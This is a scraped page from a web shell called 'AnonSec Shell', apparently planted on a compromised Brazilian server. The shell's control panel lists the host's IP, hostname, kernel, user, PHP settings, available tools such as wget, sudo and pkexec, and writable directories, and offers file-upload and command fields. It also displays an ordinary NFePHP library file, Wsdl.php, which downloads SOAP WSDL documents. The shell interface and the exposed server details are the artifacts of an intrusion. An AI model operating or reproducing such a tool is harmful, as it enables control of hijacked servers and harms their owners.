AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/www/lrsys_apps/leo/application/plugins/modulo_fiscal/nfephp/libs/Common/Soap/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/www/lrsys_apps/leo/application/plugins/modulo_fiscal/nfephp/libs/Common/Soap/Wsdl.php
<?php

namespace NFePHP\Common\Soap;

/**
 * Classe usada para obter os arquivos WSDL, que são as especificações
 * da comunicação SOAP com os webservices da SEFAZ e das Prefeituras;
 *
 * @category  NFePHP
 * @package   NFePHP\Common\Soap
 * @copyright Copyright (c) 2008-2015
 * @license   http://www.gnu.org/licenses/lesser.html LGPL v3
 * @author    Roberto L. Machado <linux.rlm@gamil.com>
 * @link      http://github.com/nfephp-org/spedphp for the canonical source repository
 */

use NFePHP\Common\Soap;

class Wsdl
{
    /**
     * soapDebug
     *
     * @var string
     */
    public $soapDebug = '';
    
    /**
     * downloadWsdl
     * Baixa o arquivo wsdl necessário para a comunicação SOAP nativa
     * O WSDL pode também ser usado para verificar a mensagem SOAP com o
     * uso do SOAPUI um recurso muito importante para testes off-line.
     *
     * @param  string $url
     * @param  string $priKeyPath
     * @param  string $pubKeyPath
     * @param  string $certKeyPath
     * @return string
     */
    public function downLoadWsdl($url, $priKeyPath, $pubKeyPath, $certKeyPath)
    {
        $soap = new Soap\CurlSoap($priKeyPath, $pubKeyPath, $certKeyPath);
        $resposta = $soap->getWsdl($url);
        if (!$resposta) {
            $this->soapDebug = $soap->soapDebug;
            return '';
        }
        return $resposta;
    }
}

Anon7 - 2022
AnonSec Team